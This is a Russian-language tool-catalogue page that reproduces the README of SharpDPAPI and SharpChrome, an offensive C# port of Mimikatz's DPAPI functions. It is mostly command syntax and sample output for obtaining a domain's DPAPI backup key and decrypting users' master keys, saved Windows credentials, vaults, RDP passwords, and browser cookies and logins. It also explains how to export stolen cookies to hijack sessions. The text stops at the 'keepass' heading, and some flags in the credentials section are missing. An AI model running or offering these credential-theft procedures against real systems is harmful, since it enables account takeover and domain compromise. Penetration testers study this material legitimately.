Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SharpDPAPI — SharpDPAPI — это порт на C# некоторых функций DPAPI из Mimikatz. | Kitploit
Инструменты/GitHubGitHub/ghostpack/sharpdpapi
Взлом паролейИнструменты шифрования/дешифрованияЭксплуатацияЭксфильтрация данныхПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI — это порт на C# некоторых функций DPAPI из Mimikatz.

Репозиторий
1.4k2492 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SharpDPAPI


SharpDPAPI — это порт на C# некоторой функциональности DPAPI из проекта Mimikatz от @gentilkiwi.

Я не придумал эту логику, это просто порт из Mimikatz, сделанный для лучшего понимания процесса и его адаптации под наш рабочий процесс.

Подпроект SharpChrome является адаптацией работы @gentilkiwi и @djhohnstein, в частности его проекта SharpChrome. Однако эта версия SharpChrome использует другую версию C# SQL библиотеки, которая поддерживает открытие без блокировки. SharpChrome собран как отдельный проект в SharpDPAPI из-за размера используемой SQLite-библиотеки.

Как Chrome, так и новые браузеры Edge на основе Chromium могут быть проанализированы с помощью SharpChrome.

SharpChrome также использует минимизированную версию BCrypt P/Invoke кода от @AArnott, выпущенную под лицензией MIT.

Если вы не знакомы с DPAPI, посмотрите эту статью для получения дополнительной информации. Для получения дополнительной информации о Credentials и Vaults в контексте DPAPI ознакомьтесь с записью в вики от Benjamin.

@harmj0y является основным автором этого порта.

SharpDPAPI распространяется под лицензией BSD 3-Clause.

Содержание

  • SharpDPAPI
    • Содержание
    • Общие сведения
      • Использование SharpDPAPI из командной строки
      • Использование SharpChrome из командной строки
      • Операционное использование
        • SharpDPAPI
        • SharpChrome
    • Команды SharpDPAPI
      • Пользовательская разведка
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Машинная разведка
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Разное
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • Команды SharpChrome
      • logins

Общие сведения

Использование SharpDPAPI из командной строки

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Получить резервный ключ DPAPI контроллера домена, опционально указав DC и выходной файл:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Команда *search* выполняет поиск потенциальных DPAPI-блобов в реестре, файлах, папках и base64-блобов:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Машинная/SYSTEM разведка:

    machinemasterkeys       -   разведать все доступные файлы машинных главных ключей (повышает привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM)
    machinecredentials      -   использовать 'machinemasterkeys', затем разведать файлы машинных учетных данных
    machinevaults           -   использовать 'machinemasterkeys', затем разведать машинные Vaults
    machinetriage           -   выполнить команды 'machinecredentials' и 'machinevaults'


Пользовательская разведка:

    Аргументы для команды 'masterkeys':

        /target:FILE/folder     -   разведать конкретный главный ключ или папку с главными ключами (иначе разведать локальные главные ключи)
        /pvk:BASE64...          -   использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
        /pvk:key.pvk            -   использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
        /password:X             -   расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
        /ntlm:X                 -   расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
        /credkey:X              -   расшифровать главные ключи целевого пользователя с помощью DPAPI credkey (доменного или локального SHA1, работает удаленно)
        /rpc                    -   расшифровать главные ключи целевого пользователя, запросив у контроллера домена
        /server:SERVER          -   разведать удаленный сервер, предполагая права администратора
        /hashes                 -   вывести 'хэши' пользовательских файлов главных ключей в формате JTR/Hashcat (без расшифровки)


    Аргументы для команд credentials|vaults|rdg|keepass|triage|blob|ps:

        Расшифровка:
            /unprotect          -   принудительно использовать CryptUnprotectData() для команд 'ps', 'rdg' или 'blob'
            /pvk:BASE64...      -   использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
            /pvk:key.pvk        -   использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
            /password:X         -   расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
            /ntlm:X             -   расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
            /credkey:X          -   расшифровать главные ключи целевого пользователя с помощью DPAPI credkey (доменного или локального SHA1, работает удаленно)
            /rpc                -   расшифровать главные ключи целевого пользователя, запросив у контроллера домена
            GUID1:SHA1 ...      -   использовать один или несколько GUID:SHA1 главных ключей для расшифровки
            /mkfile:FILE        -   использовать файл с одним или несколькими GUID:SHA1 главными ключами для расшифровки

        Целевой объект:
            /target:FILE/folder -   разведать конкретное расположение 'Credentials', '.rdg|RDCMan.settings', 'blob' или 'ps' файла, или папку 'Vault'
            /server:SERVER      -   разведать удаленный сервер, предполагая права администратора
                                    Примечание: необходимо использовать с /pvk:KEY или /password:X
                                    Примечание: не применимо к командам 'blob' или 'ps'


Разведка сертификатов:

    Аргументы для команды 'certificates':
        /showall                                        -   показывать все расшифрованные файлы закрытых ключей, а не только те, что связаны с установленными сертификатами (по умолчанию)
        /machine                                        -   использовать локальное машинное хранилище для разведки сертификатов
        /mkfile | /target                               -   для машинной разведки
        [все аргументы расшифровки из пользовательской разведки выше]


Примечание: в большинстве случаев используйте *triage*, если вы нацелены на пользовательские секреты DPAPI, и *machinetriage*, если вы работаете с секретами SYSTEM DPAPI.
      Эти функции объединяют все остальные применимые функции, которые могут быть запущены автоматически.

Использование SharpChrome из командной строки

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_ 
                |
  v1.9.0


Получить резервный ключ DPAPI контроллера домена, опционально указав DC и выходной файл:

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Глобальные аргументы для команд 'cookies', 'logins' и 'statekeys':

    Расшифровка:
        /unprotect          -   принудительно использовать CryptUnprotectData() (по умолчанию для непривилегированного выполнения)
        /pvk:BASE64...      -   использовать закрытый ключ DPAPI домена в base64 для предварительной расшифровки доступных пользовательских главных ключей
        /pvk:key.pvk        -   использовать файл закрытого ключа DPAPI домена для предварительной расшифровки доступных пользовательских главных ключей
        /password:X         -   расшифровать главные ключи целевого пользователя с помощью пароля в открытом виде (работает удаленно)
        /ntlm:X             -   расшифровать главные ключи целевого пользователя с помощью NTLM-хэша (работает удаленно)
        /prekey:X           -   расшифровать главные ключи целевого пользователя с помощью DPAPI prekey (доменного или локального SHA1, работает удаленно)
        /rpc                -   расшифровать главные ключи целевого пользователя, запросив у контроллера домена
        GUID1:SHA1 ...      -   использовать один или несколько GUID:SHA1 главных ключей для расшифровки
        /statekey:X         -   расшифрованный AES-ключ состояния (из команды 'statekey')

    Целевой объект:
        /target:FILE        -   разведать конкретное расположение файла 'Cookies', 'Login Data' или 'Local State'
        /target:C:\Users\X\ -   разведать конкретную пользовательскую папку для любой указанной команды
        /server:SERVER      -   разведать удаленный сервер, предполагая права администратора (примечание: необходимо использовать с /pvk:KEY)
        /browser:X          -   разведать 'chrome' (по умолчанию), (на основе Chromium) 'edge' или 'slack'

    Вывод:
        /format:X           -   либо 'csv' (по умолчанию), либо отображение 'table'
        /showall            -   показывать записи Login Data с пустыми паролями и истекшие Cookies вместо фильтрации (по умолчанию)
        /consoleoutfile:X   -   выводить весь вывод консоли в файл на диске


Специфические аргументы команды 'cookies':

        /cookie:"REGEX"     -   возвращать только куки, имя которых соответствует указанному регулярному выражению
        /url:"REGEX"        -   возвращать только куки, URL которых соответствует указанному регулярному выражению
        /format:json        -   выводить значения куки в формате JSON для импорта в EditThisCookie. Лучше всего использовать с regex!
        /setneverexpire     -   устанавливать срок действия для выводимых куки на сейчас + 100 лет (для вывода в json)

Операционное использование

SharpDPAPI

Одной из целей SharpDPAPI является адаптация работы Benjamin по DPAPI таким образом, чтобы она соответствовала нашему рабочему процессу.

То, как именно вы будете использовать набор инструментов, зависит от того, на каком этапе задания вы находитесь. В общем, это делится на "скомпрометирован ли домен или нет".

Если были получены привилегии администратора домена (или эквивалентные), резервный ключ DPAPI домена может быть получен с помощью команды backupkey (или с помощью Mimikatz). Этот закрытый ключ домена никогда не меняется и может расшифровать любые главные ключи DPAPI для пользователей домена. Это означает, что имея резервный ключ DPAPI домена, атакующий может расшифровать главные ключи для любого пользователя домена, которые затем можно использовать для расшифровки любых Vault/Credentials/Chrome Logins/других DPAPI-блобов и т.д. Ключ, полученный с помощью команды backupkey, может использоваться с командами masterkeys, credentials, vaults, rdg или triage.

Если привилегии DA не были достигнуты, использование команды Mimikatz sekurlsa::dpapi позволит получить отображения главных ключей DPAPI {GUID}:SHA1 для любых загруженных главных ключей (пользовательских и SYSTEM) в данной системе (совет: выполнение dpapi::cache после извлечения ключей даст хорошую таблицу). Если изменить эти ключи в формат {GUID1}:SHA1 {GUID2}:SHA1..., их можно передать командам credentials, vaults, rdg или triage. Это позволяет разведать все файлы учетных данных/Vaults в системе для любого пользователя, который в данный момент вошел в систему, без необходимости расшифровывать каждый файл по отдельности.

В качестве альтернативы, если вы можете указать пароль целевого пользователя, NTLM-хэш или DPAPI prekey для пользовательской команды с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода sekurlsa::msv Mimikatz для доменных пользователей может использоваться как /prekey, а поле sha1 из вывода sekurlsa::msv может использоваться как /prekey для локальных пользователей.

Для расшифровки файлов RDG/RDCMan.settings с помощью команды rdg флаг /unprotect будет использовать CryptUnprotectData() для расшифровки любых сохраненных паролей RDP, если команда запускается из контекста пользователя, который сохранил пароли. Это можно сделать из непривилегированного контекста, без необходимости обращаться к LSASS. О том, почему этот подход не используется для credentials/vaults, смотрите документацию Benjamin здесь.

Для машинной разведки DPAPI команды machinemasterkeys|machinecredentials|machinevaults|machinetriage выполняют эквивалент пользовательской разведки DPAPI на уровне машины. Если контекст повышен (то есть нужны права локального администратора), SharpDPAPI повысит привилегии до SYSTEM для получения секрета LSA "DPAPI_SYSTEM", который затем используется для расшифровки любых обнаруженных машинных главных ключей DPAPI. Эти ключи затем используются как таблицы поиска для машинных учетных данных/vaults и т.д.

Для получения дополнительной информации об offensive DPAPI смотрите здесь.

SharpChrome

SharpChrome — это реализация SharpDPAPI, специфичная для Chrome, способная расшифровывать/проводить разведку cookies и logins. Он собран как отдельный проект в SharpDPAPI из-за размера используемой библиотеки SQLite.

Так как Cookies/Login Data Chrome сохраняются без CRYPTPROTECT_SYSTEM, CryptUnprotectData() снова в игре. Если SharpChrome запускается из непривилегированного контекста, он попытается расшифровать любые логины/куки для текущего пользователя с помощью CryptUnprotectData(). Также можно использовать /pvk:[BASE64|file.pvk], таблицу поиска {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X или /mkfile:FILE с значениями {GUID}:SHA1 для расшифровки значений. Кроме того, используемая C# SQL библиотека (с некоторыми модификациями) поддерживает открытие без блокировки, что означает, что Chrome не нужно закрывать/целевые файлы не нужно копировать в другое место.

В качестве альтернативы, если вы можете указать пароль целевого пользователя, NTLM-хэш или DPAPI prekey для пользовательской команды с помощью /password:X, /ntlm:X или /prekey:X соответственно. Поле dpapi из вывода sekurlsa::msv Mimikatz для доменных пользователей может использоваться как /prekey, а поле sha1 из вывода sekurlsa::msv может использоваться как /prekey для локальных пользователей.

Если используется Chrome версии 80+, AES-ключ состояния хранится в AppData\Local\Google\Chrome\User Data\Local State — этот ключ защищен с помощью DPAPI, поэтому мы можем использовать CryptUnprotectData()/pvk/таблицы поиска главных ключей для его расшифровки. Затем этот AES-ключ используется для защиты новых записей cookie и login data. Этот же процесс используется, когда указано /browser:edge или /browser:brave для разведки более новых браузеров Edge на основе Chromium.

По умолчанию куки и логины отображаются в формате csv — это можно изменить с помощью /format:table для табличного вывода и /format:json для куки отдельно. Опция json выводит куки в формате json, который можно импортировать в расширение Chrome EditThisCookie для удобного повторного использования.

Команда cookies также имеет аргументы /cookie:REGEX и /url:REGEX для возврата только тех имен куки или URL, которые соответствуют указанному регулярному выражению. Это полезно в сочетании с /format:json для легкого клонирования доступа к определенным сайтам.

Конкретные файлы cookies/logins/statekey могут быть указаны с помощью /target:X, а пользовательская папка может быть указана с помощью /target:C:\Users\USER\ для любой команды разведки.

Команды SharpDPAPI

Пользовательская разведка

masterkeys

Команда masterkeys выполняет поиск любых читаемых пользовательских файлов главных ключей и расшифровывает их с помощью предоставленного резервного ключа DPAPI домена. Она возвращает набор отображений главных ключей {GUID}:SHA1.

/password:X можно использовать для расшифровки текущих главных ключей пользователя. Обратите внимание, что для машин, присоединенных к домену, пароль может быть указан как в открытом виде, так и в формате NTLM. Если /target также указан вместе с /password, необходимо также указать полный SID домена пользователя /sid:X.

Резервный ключ домена может быть в форме base64 (/pvk:BASE64...) или в виде файла (/pvk:key.pvk).

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Действие: Разведка пользовательских файлов главных ключей

[*] Найден MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(сокращено)...

[*] Кэш пользовательских главных ключей:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(сокращено)...
...(сокращено)...

Если не указан /password или /pvk, вы можете передать флаг /hashes для дампа хэшей главных ключей в формате John/Hashcat. В этом режиме хэши выводятся в формате {GUID}:DPAPImk.

Ключ Preferred также анализируется, чтобы выделить текущий предпочтительный главный ключ, чтобы не тратить усилия на взлом более старых ключей.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Действие: Разведка пользовательских файлов главных ключей DPAPI

[*] Будет произведен дамп хэшей пользовательских главных ключей

[*] Найден MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Найден MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(сокращено)...

[*] Предпочтительные главные ключи:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a


[*] Хэши пользовательских главных ключей:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(сокращено)...

credentialsКоманда выполнит поиск файлов учетных данных и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена ( или ) для предварительной расшифровки пользовательских мастер-ключей (аналогично ), либо d) использует для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz .

Конкретный файл учетных данных (или папку с учетными данными) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1, а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.

Если запущено из контекста с повышенными привилегиями, будут обработаны файлы учетных данных для ВСЕХ пользователей, в противном случае будут обработаны только файлы учетных данных для текущего пользователя.

Использование сопоставлений мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

Команда vaults выполнит поиск хранилищ и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Папка Policy.vpol в папке хранилища расшифровывается с использованием предоставленных ключей DPAPI для получения соответствующих ключей шифрования AES, которые затем используются для расшифровки любых связанных файлов .vcrd.

Конкретную папку хранилища можно указать с помощью /target:C:\Folder\. В этом случае либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.

Использование сопоставлений мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Использование резервного ключа DPAPI домена с указанной папкой (т.е. "автономная" обработка):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

Команда rdg выполнит поиск файлов RDCMan.settings для текущего пользователя (или, если с повышенными привилегиями, для всех пользователей) и либо a) расшифрует их с помощью переданных мастер-ключей в формате "{GUID}:SHA1", либо b) использует файл /mkfile:FILE с одним или несколькими сопоставлениями {GUID}:SHA1, либо c) использует предоставленный резервный ключ DPAPI домена (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки пользовательских мастер-ключей (аналогично masterkeys), либо d) использует /password:X для расшифровки пользовательских мастер-ключей, которые затем используются в качестве таблицы для дешифрования. Сопоставления GUID DPAPI можно восстановить с помощью команды Mimikatz sekurlsa::dpapi.

Флаг /unprotect использует CryptUnprotectData() для расшифровки любых сохраненных паролей RDP, если команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из контекста без привилегий, без необходимости обращаться к LSASS. О том, почему этот подход не используется для учетных данных/хранилищ, см. в документации Benjamin.

Конкретный файл RDCMan.settings, файл .RDC (или папку файлов .RDG) можно указать с помощью /target:FILE или /target:C:\Folder\. Если указан файл, необходимы значения {GUID}:SHA1 (или /unprotect), а если указана папка, то либо a) должны быть предоставлены значения {GUID}:SHA1, либо b) папка должна содержать мастер-ключи DPAPI и должен быть предоставлен резервный ключ /pvk домена.

Эта команда расшифрует любую сохраненную информацию о паролях как из файла RDCMan.settings, так и из любых файлов .RDG, на которые ссылается файл RDCMan.settings.

Использование /unprotect для расшифровки всех найденных паролей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Использование сопоставлений мастер-ключей домена {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруживаемых мастер-ключей:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

